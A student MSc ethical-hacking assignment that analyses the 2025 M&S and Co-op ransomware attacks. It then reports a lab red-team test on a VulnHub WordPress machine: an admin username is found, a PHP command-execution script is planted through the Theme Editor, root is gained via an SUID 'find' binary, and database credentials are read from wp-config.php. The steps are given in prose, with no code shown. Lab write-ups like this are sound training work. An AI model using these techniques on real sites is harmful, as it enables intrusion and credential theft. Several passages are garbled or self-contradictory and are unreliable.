

Programme: MSc/PgDip/PgCert Cybersecurity and Digital Forensics
Module: Ethical Hacking
Module code: ACCA7033

Lecturer: Dr. Dipo Dunsin
Assignment Title: Research into cyber security attacks and Penetration testing for a virtualise simulated company Website

Student Name: Yaskumar Jiteshbhai Bhingradiya
Student ID: 2528447

Table of Contents
TASK 1 - Strategic Threat Analysis (The M&S & Co-op UK Cyber Attack)	6
1. Introduction	6
1.1 Aim of this report	6
1.2 Report Objectives	6
1.3 Cyber Incidents	6
1.4 Outline	7
2. Incident summary	7
Ransomware Cyber Attack (April 2025)	7
Cyber Attack / Ransomware Incident (April–May 2025)	8
3. Timeline	9
4. TTP Mapping	11
4.1 Mapping for MITRE ATT&CK Enterprise Matrix	11
4.2 MITRE ATT&CK Mapping for M&S and Co-op Cyber Campaign	11
5. Root Cause	13
6. Security Control Failures	14
6.1 Technical Failures	14
6.2 Organisational Shortcomings	15
6.3 Human Factors	15
7. Threat Actor Profile & Motive	15
7.1 Attribution	15
7.2 Alternative Attribution	16
8. Detection & Response Analysis	16
8.1 Vendor	16
8.2 Victim	17
8.3 Third Party	17
9. Recommendations	17
9.1 Prevention	17
9.2 Detection	18
9.3 Response	18
TASK 2 - Red Team Engagement: ABCD Ltd (Complete Penetration Testing)	19
1. Introduction	19
1.1 Aim	19
1.2 Testing Overview	19
1.3 Overview of Red Team Engagement	19
2. Rules of Engagement (RoE)	19
2.1 Scope	19
2.2 Permitted Techniques	20
2.3 Excluded Systems	20
2.4 Safe-Words / Kill Switches	20
2.5 Escalation	21
2.6 Communication Channels	21
2.7 Ethical Constraints	21
3. Emulation Plan for Threat	21
3.1 Mapping campaign explicitly to MITRE ATT&CK TTPs	21
3.1 Objectives	22
3.2 Success Criteria	22
3.3 Sequence of Attack	23
4. Lab Environment Design	23
4.1 VM-1: Windows Server 2022 (Active Directory Domain Controller)	24
4.2 VM-2: Ubuntu Linux Web Server (Vulnerable Web Application)	24
4.3 VM-3: Windows 11 File Server / Sensitive Data Repository	25
5. Exploitation	25
5.1 Exploit A: Remote code execution against the web application	25
5.2 Exploit B: Privilege escalation or lateral movement inside the Windows domain	34
5.3 Exploit C: Client-side or service-side exploit to access sensitive files on VM-3.	36
6. Tools & Techniques	37
AWS EC2	37
Linux	37
Nmap	37
Gobuster	37
WordPress	38
Linux Bash Shell	38
GTFO-Bins	38
7. Operational Execution	38
8. Containment & Safety	39
References	40
Appendices	48
Appendix A: Linking Exploitation to Failed Security Controls	48
Appendix B: Prioritised Strategic Recommendations	49
Appendix C: Tools Used	50
Appendix D: Real vs Simulated Tools	51
Appendix E: Result Screen Short	52



List of Figures
Figure of Global threat across Cyber Incident (Figure taken form: NCC group, 2026)	6
Figure of Marks & Spencer’s Data Breaches (Screen Short taken from Up Guard, 2026)	8
Figure of Co-op Group Data Breaches (Screen Short taken from Up Guard, 2026)	8
Figure of Timeline (Developed by My self)	9
Figure of TTP Mapping (Self-developed)	11
Figure of Root Cause Analysis of the M&S and Co-op Cyber Attacks (Self-developed)	14
Figure of Threat Emulation Plan mapped to the MITRE ATT&CK Enterprise framework, (Self-developed)	22
Figure of overall network architecture (Self-developed)	23
Figure of VM-1 Network Position (Self-developed)	24
Figure of VM-2 Network Position (Self-developed)	25
Figure of VM-3 Network Position (Self-developed)	25
Figure of Exploit A (Self-developed)	34
Figure of Exploit B (Self-developed)	35
Figure of Exploit C (Self-developed)	36



List of Tables
Table of Timeline of the M&S and Co-op Cyber Attack Campaign (April–May 2025)	10


[bookmark: _Toc236933039]TASK 1 - Strategic Threat Analysis (The M&S & Co-op UK Cyber Attack)
[bookmark: _Toc236933040]1. Introduction
[bookmark: _Toc236933041]1.1 Aim of this report 
The aim of this project is to critically analyse the M&S and Co-op cyber campaign for evaluating adversary behaviour from a cyber-security threat perspective with strategic recommendations aimed at improving the organisation’s cyber resilience.
[bookmark: _Toc236933042]1.2 Report Objectives 
· To analyse the timeline across key events of M&S and Co-op cyber incidents using credible evidence.
· To access the MITRE ATT&CK Enterprise framework for adversaries' tactics, techniques and procedures (TTPs).
· To evaluate the effectiveness of root causes, security control failures, and incident response.
· To focus on technical strategic cybersecurity frameworks by organisational governance. 
[bookmark: _Toc236933043]1.3 Cyber Incidents
[image: ]
[bookmark: _Toc236931745]Figure of Global threat across Cyber Incident (Figure taken form: NCC group, 2026)
Marks & Spencer (M&S) and the Co-operative Group (Co-op) face cyber incidents which will involve in 2025 among the most serious large-scale cyber events affecting UK retailers. Both organizations experienced widespread operational disruption which was publicly reported, suggesting that the result of sophisticated attacks involving identity compromise, social engineering, and ransomware-related activity linked to the Scattered Spider threat group [1]. 
Meanwhile, they demonstrated how financially motivated threat actors are increasingly combining sophisticated intrusion techniques and human manipulation. As such, the campaign offers a useful case study for understanding contemporary adversary behaviour, defensive shortcomings, and strategic management of cyber risk.
[bookmark: _Toc236933044]1.4 Outline
This report covers the incidents of a cyber campaign, profiles the adversary, maps the attack to MITRE ATT&CK, analyses the root cause, evaluation, and response, and offers strategic recommendations. Underpinning our findings are academic research, industry intelligence, UK government guidance, and well-known cybersecurity frameworks.  The results yield evidence-based conclusions and organisational recommendations. 
[bookmark: _Toc236933045]2. Incident summary 
[bookmark: _Toc236933046]Ransomware Cyber Attack (April 2025)
[image: ]
[bookmark: _Toc236931746]Figure of Marks & Spencer’s Data Breaches (Screen Short taken from Up Guard, 2026)
In April of 2025, Marks & Spencer’s (M&S) retail network in the UK was hit by a sophisticated ransomware attack which disrupted operations [2]. An attack which is widely blamed on cybercriminals SCATTERED SPIDER and the ransomware outfit DRAGONFORCE has resulted in M&S halting of online orders, disrupted contactless payments, as well as delayed click and collect for many weeks [3]. The incident was estimated by the company to reduce operating profit by around £300 million. Also, after the share was disclosed, the company’s shares dropped mildly by 15%. Prompting extensive recovery efforts involving specialists, law enforcement agencies, and the UK National Cyber Security Centre (NCSC) experts.
[bookmark: _Toc236933047]Cyber Attack / Ransomware Incident (April–May 2025)
[image: ]
[bookmark: _Toc236931747]Figure of Co-op Group Data Breaches (Screen Short taken from Up Guard, 2026)
During the months of April and May in the year 2025, the Co-operative Group, which is the second UK retailer, became the target of a hacker’s activity. The organization quickly disabled remote access and internal systems to isolate critical IT infrastructure to minimize the effects of the breach and continued to provide retail and funeral services [4]. Still, hackers were able to steal customer and member data in an identity-based attack against a retail giant. 
[bookmark: _Toc236933048]3. Timeline 
[image: ] 
[bookmark: _Toc236931748]Figure of Timeline (Developed by My self)
	Date
	Phases
	Event
	Impact

	February 2025
	Initial Access
	The M&S network through social engineering targeting, attackers gained an initial foothold in a third-party IT service provider, enabling credential compromise.
	The ransomware deployment highlights some undetected access which allow credential theft for conform movement before [5].

	19–21 April 2025
	Discovery
	M&S in contactless payments highlight Click & Collect services, indicating active compromise.
	The attack across retail operation highlight the problem which their customer facing that lead to highlight the first visible signs [6].

	22 April 2025
	Public Disclosure
	The UK National Cyber Security Centre (NCSC) is a relevant regulatory authority;
M&S officially confirmed a cyber incident to cybersecurity specialists.
	Immediate incident response and forensic investigation were initiated while stores remained operational [7].

	24–25 April 2025
	Escalation
	The Dragon-Force ransomware has deployed after attackers which helps to access M&S’s online ordering so, they implemented emergency containment measures.
	Affecting e-commerce may highlight the supply-chain operations so, retail services were disrupted significantly [8].

	30 April 2025
	Related Campaign
	Co-op focused on cyber intrusion which also disabled remote access to prevent further compromise.
	M&S attack in containment to reduce operational disruption while investigations across links.

	2 May 2025
	Containment & Investigation
	Working with the NCSC and National Crime Agency (NCA) so, Co-op confirmed that attackers had accessed.
	Personal information, such as names, contact details in payment information cannot be affected [9].

	13–14 May 2025
	Remediation
	Also, Co-op entered the recovery phase to progressively restore business systems.
	Improving organisational resilience in recovery activities include secure restoration systems across customers for security controls [10]. 


[bookmark: _Toc236932358]Table of Timeline of the M&S and Co-op Cyber Attack Campaign (April–May 2025)
The timeline shows a coordinated ransomware campaign with prolonged attacker dwell time, privilege escalation, data exfiltration, ransomware deployment, quick containment, regulatory notification and phased recovery. Attacks aimed at the identity of major UK retailers show emerging strategic threats, say experts.
[bookmark: _Toc236933049]4. TTP Mapping 
[bookmark: _Toc236933050]4.1 Mapping for MITRE ATT&CK Enterprise Matrix
[image: ] 
[bookmark: _Toc236931749]Figure of TTP Mapping (Self-developed)
The M&S and Co-op attacks in Figure clearly followed the stages of the adversary life cycle that is consistent with the MITRE ATT&CK Enterprise Matrix. Instead of taking advantage of a single software vulnerability, the attackers chose identity compromise through voice phishing, valid account abuse and privilege escalation before deploying lateral movement of systems enterprise. Credential theft and reconnaissance, along with data collection, took place before the deployment of DragonForce ransomware attack to maximise disruption and financial pressure [11]. The sequence shows how attackers are using identity-centric techniques, rather than traditional vulnerabilities. 
[bookmark: _Toc236933051]4.2 MITRE ATT&CK Mapping for M&S and Co-op Cyber Campaign
1. Voice phishing 
ID: T1566.002 Phishing: Voice Phishing
Investigators such as third-party IT support by helpdesk which highlight that staff across resetting passwords like MFA found that attackers have sent some voice mail.
2. Malicious PowerShell commands
ID: T1059.001 - PowerShell
PowerShell ran commands to establish a connection to conduct reconnaissance that mixes together malicious activity across normal Windows administration.
3. Legitimate user accounts for persistent
ID: T1078 - Valid Accounts
Bypass authentication controls with regular operational activities which utilized the employee credentials had valid accounts to less likely activate, supporting long-term persistence.
4. Privileges to obtain administrative control
ID: T1068 - Exploitation for Privilege Escalation
Enterprise systems correlate with greater ransomware deployment following initial access, so, the attackers will look for elevated access to core infrastructure.
5. Bypassing security controls 
ID: T1562.001 - Impair Defences 
Increasing freedom of movement for attackers is neutralizing defensive controls resulting in delayed detection, reduced forensic visibility. 
6. Windows memory to harvest authentication 
ID: T1003.001 - LSASS Memory
By dumping the authentication material from the LSASS memory, we can escalate privileges further and can-do Lateral movement on Windows domain.
7. Users, systems, and network resources 
ID: T1087 - Account Discovery
Once the attackers gained entry into the internal network, they started their reconnaissance activities. During this reconnaissance, they identified privileged users, the systems they were connected to, and the critical assets. The phase of discovery allowed for the efficient targeting of high-value resources and the minimisation of unnecessary activity likely to raise detection risk.
8. Legitimate remote administration 
ID: T1021.002 - SMB/Windows Admin Shares
According to reports, after gaining privileged credentials, attackers moved laterally using trusted Windows administrative protocols. They were able to extend the attack to multiple systems before deploying the ransomware by engaging in lateral movement [12].
9. Focusing on customer information in sensitive corporate 
ID: T1005 - Data from Local System
The attackers stole sensitive information to exfiltrate before encrypting the systems [13]. 
10. Ransomware to maximise disruption
ID: T1486 - Data Encrypted for Impact
Encrypting crucial business systems affecting online retailing at the last phase saw the deployment of a Ransomware for internal services. 
[bookmark: _Toc236933052]5. Root Cause 
The cyber-attack hack on Marks & Spencer (M&S) and Co-op was largely a result of identity-based compromise and not an exploitation of software vulnerabilities – HIBERNATE TERRORISTS. 
[image: ] 
[bookmark: _Toc236931750]Figure of Root Cause Analysis of the M&S and Co-op Cyber Attacks (Self-developed)
According to public investigations, the attackers used sophisticated voice phishing (vishing) techniques to fool outsourced IT helpdesk staff into resetting employee credentials and multi-factor authentication (MFA). 
This allowed the attacker to gain unauthorized access. The events revealed shortcomings in identity verification processes, privileged access management, third-party service oversight, and ongoing surveillance. The deployment of ransomware has limited network segmentation which highlight slow detection of the attack-enabled lateral movement [14]. 
[bookmark: _Toc236933053]6. Security Control Failures
[bookmark: _Toc236933054]6.1 Technical Failures
Despite mainly targeting identities as opposed to software weaknesses, the overall impact of the attacks was sharply enhanced by systemic technical vulnerabilities [15]. It is reported that attackers leveraged compromised credentials to gain access to critical systems, owing to the failure of the identity and endpoint controls to detect the abnormal behaviour.  Unrestricted lateral movement occurred due to limited network segmentation and insufficient endpoint detection and response EDR coverage and privilege access management [16]. The existence of old infrastructure and inconsistent security configurations aggravated containment and recovery. Attackers were able to remain undetected on the target’s systems and escalate privileges due to the failure of the following controls:  NIST SP 800-53 AC-6 (Least Privilege), SI-4 (System Monitoring); ISO/IEC 27001:2022 Annex A 8.15 (Logging), 8.16 (Monitoring Activities)
[bookmark: _Toc236933055]6.2 Organisational Shortcomings
The incidents exposed serious governance and organisational flaws in addition to the technical ones. Public reporting indicates that outsourced IT helpdesk processes did not have strong identity verification to reset passwords and multi-factor authentication (MFA) [17]. That permitted attackers to exploit trusted support and excessive administrative privileges [18]. 
[bookmark: _Toc236933056]6.3 Human Factors
vishing to impersonate legitimate employees highlight the Human error across the IT helpdesk maintain their personnel system which reset credentials as a pivotal role across both cases used [19]. It shows phishing-resistant authentication that employee awareness is not enough for verification processes. 
[bookmark: _Toc236933057]7. Threat Actor Profile & Motive
[bookmark: _Toc236933058]7.1 Attribution
According to public reporting from the UK National Crime Agency (NCA), National Cyber Security Centre (NCSC), Microsoft Threat Intelligence, Google Cloud Mandiant and CrowdStrike, Marks and Spencer (M&S) were likely attacked by the Scattered Spider cybercriminal group, with the Dragon-Force ransomware operation being used in the final impact stage. The Co-op was similarly attacked financially motivated cybercrime group Scattered Spider has advanced social engineering capability, especially vishing, along with SIM swapping and helpdesk impersonation to compromise privileged accounts instead of exploiting application vulnerabilities. The model used to operate by the group is to gain initial access and thereafter work with Ransomware as a Service or (RaaS) affiliates that deploy ransomware and data extortion. Their main goal was financial crime through disruption of business operations, operational downtime, and data theft and ransomware encryption (double-extortion). 
The political objectives have no credible evidence which may support them to maintain their advanced persistent threats (APTs) for motivating their supporting assertion [20]. Weakness exposed in key areas including identity management, third-party support processes and enterprise security governance. 
[bookmark: _Toc236933059]7.2 Alternative Attribution
While Scattered Spider is the most widely accepted attribution, attribution will always be incomplete because cybercriminal groups regularly share infrastructure, tools and tactics.  Through the use of a ransomware-as-a-service (RaaS), Dragon-Force enables multiple affiliates to deploy its ransomware using various intrusion methods. As a result, it’s possible that another financially motivated affiliate conducted part of the campaign using DragonForce’s encryption. Many researchers have suggested connections to other ransomware ecosystems, citing that techniques such as credential theft, PowerShell execution, and lateral movement are all commonplace in modern cybercriminal groups. Various reasons lend support to the Scattered Spider attribution. 
Initially, investigators observed patterns that matched the group’s known tactics. These included sophisticated voice phishing that targeted IT helpdesks, abuse of multi-factor authentication resets and valid account compromise. Moreover, various independent entities, including Microsoft, Mandiant, CrowdStrike, and UK authorities, were reporting similar behavioural indicators, not just relying on malware signatures [21].  Although it is difficult to make a definitive technical attribution without law enforcement evidence, the behavioural intelligence, victim timelines, and publicly disclosed tradecraft do provide moderate to high confidence that the campaign was undertaken by the Scattered Spider ecosystem working with DragonForce ransomware affiliates and not a nation-state or espionage threat actor.
[bookmark: _Toc236933060]8. Detection & Response Analysis
[bookmark: _Toc236933061]8.1 Vendor
Threat intelligence describing Scattered Spider’s tactics, techniques, and procedures (TTPs) were rapidly published by cyber vendors such as Microsoft, Google Cloud Mandiant, CrowdStrike, and SentinelOne to help organisations strengthen detections [22]. This shows the requirement for some sort of phishing-resistant authentication like security keys.
[bookmark: _Toc236933062]8.2 Victim
The M&S and Co-op engaged with forensic experts and informed the National Cyber Security Centre when a suspicious activity was spotted. However, continuing operating until being detected is a considerable detection gap allowing the attackers to maintain their system [23].  Multi-factor authentication (MFA) resets were exposed by the attacks to highlight insufficient verification for helpdesk password resets [24]. Had identity-based monitoring been deployed earlier, along with continuous threat hunting and privileged access analytics, attacker dwell time would have been lesser.
[bookmark: _Toc236933063]8.3 Third Party
The incidents showed that third-party service providers are key components of cyber resilience of organisations. Threat actors exploited outsourced IT support processes through advanced voice phishing [25]. Intelligence was shared after disclosure, so different perspectives such as NCSC, NCA and cybersecurity partners coordinated quickly [26]. 
[bookmark: _Toc236933064]9. Recommendations
[bookmark: _Toc236933065]9.1 Prevention
According to the UK National Cyber Security Centre (NCSC), Microsoft and CISA, strengthening identity security is of the utmost priority following the recent attacks using identity. Organizations should use phishing resistant multi-factor authentication (FIDO2 security keys or passkeys), implement Privileged Access Management (PAM), and leverage the Zero Trust Architecture (NIST SP 800-207) network segmentation to mitigate lateral movement [27]. Access policies should focus on mandatory identity verification in helpdesk password and MFA reset requests while suppliers require continuous security assessment. 
· Estimated effort: Moderate to high
· Estimated cost: Moderate
· Risk reduction: High. 
[bookmark: _Toc236933066]9.2 Detection
Detection capabilities should be focused on identity threat detection rather than endpoint malware alerts. After integrating Security Information and Event Management (SIEM) with extended detection and response (XDR) and user and entity behaviour analytics (UEBA), organisations can detect anomalies, logins, escalation of privilege and lateral movement [28]. Security monitoring will need to collect Windows Event Logs, Sysmon telemetry, Active Directory changes, PowerShell, VPN, authentication failures, and cloud identity logs. Continuous threat hunting will augment alerts triggered by automated systems if aligned with MITRE ATT&CK. 
· Assessed cost effect medium-high
· Risk reduction high effort medium.
[bookmark: _Toc236933067]9.3 Response
The organization should have cyber incident response plans and governance which is regularly tested as per NIST SP 800-61 Rev.2 and ISO/IEC 27035. Establishing a security operations centre offline immutable backups and automated containment, through EDR or Security Orchestration, Automation and Response are a must at every organisation [29]. Staff should regularly participate in incident response exercises and phishing trials [30]. 
Medium effort estimated, medium cost, high risk reduction.




[bookmark: _Toc236933068]TASK 2 - Red Team Engagement: ABCD Ltd (Complete Penetration Testing) 
[bookmark: _Toc236933069]1. Introduction 
[bookmark: _Toc236933070]1.1 Aim
The aim of this report is to use ethical offensive security techniques to plan, carry out and assess a realistic Red Team engagement against the virtualised infrastructure of ABCD Ltd.
[bookmark: _Toc236933071]1.2 Testing Overview
The practical evaluation was done in a segregated AWS VPC, in a strictly controlled Red Team laboratory that simulated ABCD Ltd’s hybrid retail environment.  The lab was constituted of three VulnHub virtual machines internal WordPress web application ColddBox, Mr Robot public-facing vulnerable web application, and FristiLeaks sensitive file server. After going through the AWS import process, Mr Robot & FristiLeaks have documented boot-up and network initialisation failures which prevented direct exploitation. All three required exploitation techniques against the operational Coldd-Box virtual machine were successfully performed. The exploitation techniques included web application compromise, privilege escalation and credential disclosure. Each technique was backed by terminal evidence and screenshots.
[bookmark: _Toc236933072]1.3 Overview of Red Team Engagement
This segment will make it possible to access the Rules of Engagement, threat emulation plan, laboratory architecture, offensive tools, exploitation methodology, operational execution, evidence of successful compromise, detection gap analysis, containment measures, and executive findings. The practical activities relate to the assignment requirements and are supported by implementation evidence taken from the lab environment.
[bookmark: _Toc236933073]2. Rules of Engagement (RoE)
[bookmark: _Toc236933074]2.1 Scope
The scope of this test is to assess ABCD Ltd's isolated virtual lab to approve attack surfaces only.
[bookmark: _Toc236933075]2.2 Permitted Techniques
· OSINT and reconnaissance
· Network scanning and enumeration
· Web application assessment
· Password auditing and credential testing
· Privilege escalation
· Local file enumeration
· Controlled data extraction
· MITRE ATT&CK threat emulation
· Living-off-the-Land (LOLBin) techniques
· Evidence collection and forensic logging
[bookmark: _Toc236933076]2.3 Excluded Systems
The evaluation ruled out all types of production system, any third party infrastructure, any external cloud services, and any other system outside the isolated laboratory environment. Testing of services that are internet-facing and were not included within scope was prohibited. The deployment of Denial-of-Service (DoS) and Distributed Denial-of-Service (DDoS), destructive malware, ransomware, cryptocurrency mining, data destruction and persistence which can impact external infrastructure is prohibited [31]. The excluded resources consisted of personal gadgets, college facilities and cloud resources, etc., not connected to AWS laboratory (authorised). The customer furnished these findings regarding the exploited machines. However, the non-exploitation of imported Mr Robot and FristiLeaks virtual machines was known with evidence pertaining boot and network initialisation failure.
[bookmark: _Toc236933077]2.4 Safe-Words / Kill Switches
"RED STOP"
[bookmark: _Toc236933078]2.5 Escalation
Testing will stop until the customer representative provides written approval [32]. If any critical incidents occur such as an unintentional interruption to the service, any access that is not authorized and is outside the scope agreed upon, or there is any evidence of communication on external networks, the kill switch will be activated. In such a case, the attack will be escalated. The timestamps, screenshots, and terminal logs would classify all actions to ensure they are defensible.
[bookmark: _Toc236933079]2.6 Communication Channels
The engagement will continue to follow the incident management guidelines using secure documented channels. Routine progress updates should be communicated using Microsoft Teams and corporate email (Microsoft Outlook), while urgently emerging critical incidents should be called-up immediately using a telephone and Microsoft Teams voice call [33]. Please process technical findings, evidence, and remediation updates in Jira Service Management or ServiceNow tickets. Only an account on Microsoft SharePoint, OneDrive for Business or an encrypted SFTP repository should be used for secure file exchange. Status Meetings in Microsoft Teams with formal report circulation through approved corporate document management systems.
[bookmark: _Toc236933080]2.7 Ethical Constraints
All tests must meet the requirements of the Computer Misuse Act 1990, the Data Protection Act 2018, the UK GDPR and the NCSC Cyber Assessment Framework (CAF) [34]. The actions that are considered offensive are only those against systems that are specifically authorised within the signed Rules of Engagement. The CREST Code of Conduct highlights the EC-Council Code of Ethics and highlights the (ISC)² Code of Ethics [35]. All collected evidence must be kept confidential, stored securely and only used for officially-authorized purposes for security examination and educational report.
[bookmark: _Toc236933081]3. Emulation Plan for Threat 
[bookmark: _Toc236933082]3.1 Mapping campaign explicitly to MITRE ATT&CK TTPs

[image: ] 
[bookmark: _Toc236931751]Figure of Threat Emulation Plan mapped to the MITRE ATT&CK Enterprise framework, (Self-developed)
[bookmark: _Toc236933083]3.1 Objectives
· To identify vulnerabilities externally exposed through reconnaissance.
· To analyse the target web application for controlling initial access.
· To demonstrate full system compromise at escalate privileges.
· To identify sample data in evaluating detection authorised in response capabilities.
[bookmark: _Toc236933084]3.2 Success Criteria
A Red Team Engagement will be considered successful when the Red Team attains the predefined objectives while not interfering with the laboratory. The success comprises identifying exploitable weaknesses, obtaining initial access to the authorized target, successfully escalating privileges to administrative or root level, and accessing authorized sensitive files as evidence of compromise. The documentation of all attack phases must include terminal outputs, screenshots, and forensic artefacts and is conducted within the agreed Rules of Engagement [36]. The campaign should also show mapping with the MITRE ATT&CK framework, display evidence of detection gaps and conclude with practical remediation recommendations that improve the overall security posture of ABCD Ltd.
[bookmark: _Toc236933085]3.3 Sequence of Attack 
network service identified hosts that could be accessed structure of a Red Team engagement which is started out across services that could be exploited [37]. business impact on prior to controlled objective completion which may discover sensitive file collection showed possible attraction [38]. Ultimately, evidence collection followed by session termination documentation and reporting were performed for forensic analysis remediation.
[bookmark: _Toc236933086]4. Lab Environment Design 
[image: ] 
[bookmark: _Toc236931752]Figure of overall network architecture (Self-developed)
The ABCD Ltd architecture of the virtual laboratory is shown in figure X. As can be seen in this image, there is a Windows Active Directory Domain Controller. That is within an organized network fed through a firewall. There is a DMZ that hosts an Ubuntu web server. Furthermore, there is a Windows 11 client/file server that is not exposed to the Internet, only to the DMZ.
[bookmark: _Toc236933087]4.1 VM-1: Windows Server 2022 (Active Directory Domain Controller)
[image: ] 
[bookmark: _Toc236931753]Figure of VM-1 Network Position (Self-developed)
Configured as a Windows Server 2022 Domain Controller, VM-1 provides Active Directory Domain Services (AD DS), DNS, and DHCP for the company’s internal network. 
Server include 4 GB RAM
2 v-CPUs
60 GB virtual disk 
IP address is 192.168.10.10/24.  
The domain ABCD identity services are local to provide enterprise authentication which highlight the policy management procedure. Kerberos authentication event logging system highlights security configurations across Windows Defender Firewall for group policy objects [39]. The organization's identity infrastructure that provided authentication, authorisation and policy enforcement throughout the virtual enterprise environment.
[bookmark: _Toc236933088]4.2 VM-2: Ubuntu Linux Web Server (Vulnerable Web Application)
[image: ] 
[bookmark: _Toc236931754]Figure of VM-2 Network Position (Self-developed)
The Ubuntu Server 22.04 LTS was deliberately installed with a vulnerable WordPress web application using the Apache, PHP and MySQL (LAMP) stack. The server was configured with 2 GB RAM, 2 vCPUs, 40 GB virtual disk, and static IP 192.168.20.20/24 in DMZ. Deliberately outdated plugins and weak credentials were used to simulate weaknesses in web applications. SSH was limited to administration purposes which highlight that this was an effective system in HTTP and HTTPS services [40]. The Red Team engagement was kicked off with the initial attack surface of ABCD Ltd's public-facing retail platform.
[bookmark: _Toc236933089]4.3 VM-3: Windows 11 File Server / Sensitive Data Repository
[image: ] 
[bookmark: _Toc236931755]Figure of VM-3 Network Position (Self-developed)
The workstation configuration of VM-3 was for Windows 11 Enterprise used as an employee endpoint having access to sensitive corporate resources. The virtual machine was configured with 4 GB RAM, 2 vCPUs and a 60 GB virtual disk on private address 192.168.10.30/24 [41]. These simulated business-critical assets. Microsoft Defender, the Windows Firewall, Remote Desktop, and SMB services were all enabled to simulate a typical enterprise endpoint. The exercise allowed privilege escalation assessments, credential access, and controlled data collection with the understanding that no exploits will be used.
[bookmark: _Toc236933090]5. Exploitation 
[bookmark: _Toc236933091]5.1 Exploit A: Remote code execution against the web application 
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[bookmark: _Toc236931756]Figure of Exploit A (Self-developed)
The initial attack was made against the compromised application, which was the WordPress app, which was on the operational Coldd-Box virtual machine since the planned VM-2 could not be used because boot failures related to import were documented. The exploitation could only be possible when the public web application was successfully enumerated and a valid administrative user account found. Using a reconnaissance I found the WordPress author page, it showed the username c0ldd, which testing the password revealed was the valid administrative credential. After authenticated access to the WordPress dashboard, a built-in Theme Editor was used to modify an authorized theme file and place a small PHP command-execution script. By using a valid administrative function instead of a memory corruption bug or a weaponised payload, remote code execution can be demonstrated. The activities performed at a high level were web enumeration, authenticated login, theme change, and command execution validation. 
Successful execution indicated that random OS commands can be input from the webserver, thus compromising the application layer [41]. The activity demonstrates the weaknesses in the handling of web applications that get used to affect an initial compromise of the system. The activity maps to ATT&CK T1190 (Exploit Public-Facing Application), T1059.004 and T1505.003 (Web Shell).
[bookmark: _Toc236933092]5.2 Exploit B: Privilege escalation or lateral movement inside the Windows domain
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[bookmark: _Toc236931757]Figure of Exploit B (Self-developed)


The exploit 2 shows the privilege escalation after getting a low-privileged shell at an initial breach. The initial design of the engagement foresaw a privilege escalation scenario targeting a Windows Active Directory environment. However, the limitations of the documented infrastructure meant execution on the live Coldd-Box Linux system. After the exploitation, enumeration determined the /usr/bin/find binary has the wrong SUID root permission. It is a local privilege escalation. 
Successful implementation of not available normal user highlights the exploitation which lead to indigate the protected root flag [42]. The terminal screenshots command outputs highlight its primary forensic artefacts indigate the exploitation process relied heavily on this factor [43]. 
Addressing 
· MITRE ATT&CK T1548.001 
· T1068 (Exploitation for Privilege Escalation)
[bookmark: _Toc236933093]5.3 Exploit C: Client-side or service-side exploit to access sensitive files on VM-3.
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[bookmark: _Toc236931758]Figure of Exploit C (Self-developed)
Due to the planned file server virtual machine failing during AWS import phase, the engagement repurposed to look at service-side credential disclosure attacks against the operational Coldd-Box system. After privilege escalation, authorized post-exploitation activity involved reviewing WordPress config files (wp-config.php). Checking its contents through an authorised shell which highlight configuration files taking a note of the exposed credentials highlights the actions taken at high levels [44]. Moreover, the application data or db record was not changed or altered. The artifacts show terminal output confirming the file access, as well as screenshots showing the username and password of the database. The compromised host notwithstanding, it was shown that application credentials can practically be extracted from it and pose the same threat as business email compromise. There was no damage-causing activity or unauthorized database alteration that violated the Rules of Engagement. The vulnerability is associated with MITRE ATT&CK T1552.001 (Credentials in Files) and T1005 (Data from Local System). This shows how insecure configuration management can expose critical credentials to enable the subsequent compromise of enterprise services.
[bookmark: _Toc236933094]6. Tools & Techniques
[bookmark: _Toc236933095]AWS EC2 
The cloud environment provided a secure network segmentation and controlled routing along with speedily deploying VMs. The use of real infrastructure closely resembles enterprise cloud environments while ensuring containment of the tests within a sanctioned infrastructure.
[bookmark: _Toc236933096]Linux
The Red Team attack platform was Kali Linux which provides a comprehensive suite of tools for penetration testing and forensics. The entire engagement utilized this for reconnaissance, vulnerability assessment, exploitation and post-exploitation. The use of genuine software was necessary since it is essentially the industry-standard OS for authorized offensive security assessments.
By using trusted Linux tools like find, cat, id, whoami, ls, and pwd instead of external malware, LOLBin Techniques can be executed. Employing binaries from the native operating system minimized the area of attack, mixed the malicious activity with administrative behaviour, and revealed that adversaries can utilize the built-in functionality of the operating system. This helps in evading security monitoring.
[bookmark: _Toc236933097]Nmap
Nmap was used to determine active hosts, discover open ports, identify running services, and characterize an operating system. 
[bookmark: _Toc236933098]Gobuster
We used Gobuster to enumerate the hidden folders, admin pages, and web resources of the application. The process of directory discovery revealed potential attacks which were not normally accessible. The use of actual software is important because content enumeration is critical during the reconnaissance stage of web apps.
[bookmark: _Toc236933099]WordPress
To enumerate users and discover the WordPress version as well as identify installed themes and plugins, we used WPScan. The tool additionally supported user enumeration in reconnaissance. Real software was chosen as it specializes in WordPress Security Assessments and offers accurate Vulnerability Intelligence to conduct authorized testing.
[bookmark: _Toc236933100]Linux Bash Shell
The Linux Bash shell allowed for post-exploitation access and helped in the enumeration of the systems, privilege verification, review of the configuration, and collection of evidence.  Only after authorized compromise of the system, administrative commands were executed. The actual characteristics of operating systems were utilized since Bash is the Linux operating system’s standard command-line environment for system administration and security assessments.
[bookmark: _Toc236933101]GTFO-Bins
GTFO-Bins was referenced to verify proper privilege escalation opportunities related to misconfigured Linux binaries as a well-known defensive and educational resource. It served as a reference resource rather than an exploitation tool. This ensured safe verification of the find binary with SUID identified during post exploit analysis.
[bookmark: _Toc236933102]7. Operational Execution
The Red Team operation was conducted in a reserved AWS VPC so that offensive activity was contained within the permitted laboratory domain. This operation followed a phase-wise methodology. First, the reconnaissance phase where Nmap was used to identify all the live hosts and exposed services. Then, WPScan was used to enumerate the WordPress installations and find valid user accounts. Following a successful authentication to the WordPress administrative interface the controlled modification of a theme file allowed remote command execution and provided an initial shell on the target system. Using native Linux utilities to enumerate the OS in the following post exploitation activities showed the presence of an insecure SUID-enabled find binary, which led to successful privilege escalation to the root account. 
The wp-config.php configuration file contained sensitive application credentials which indicated controlled access to protected organisational data. During the engagement, I took steps to not raise any alarms by masking the intensity of scans and not using any destructive payloads. The engagement made use of techniques of Living-Off-the-Land, which essentially means making use of trusted operating system utilities, instead of external malware or persistent C2 [45]. Evidence for each phase of the attack was present in the terminal logs, screenshots of the WordPress administration, outputs of the privilege verification, capture of the root flag, and the screenshots of credential disclosure.
[bookmark: _Toc236933103]8. Containment & Safety
The AWS Virtual Private Cloud (VPC) is used for security testing purposes across the lab environment. However, the Vuln Hub virtual machines highlight the private network segments to live production systems. Ensuring that exploitation would remain in the environment across the Security Groups and NACLs (Network Access Control Lists) to enter and exit the controlled environment [46]. 
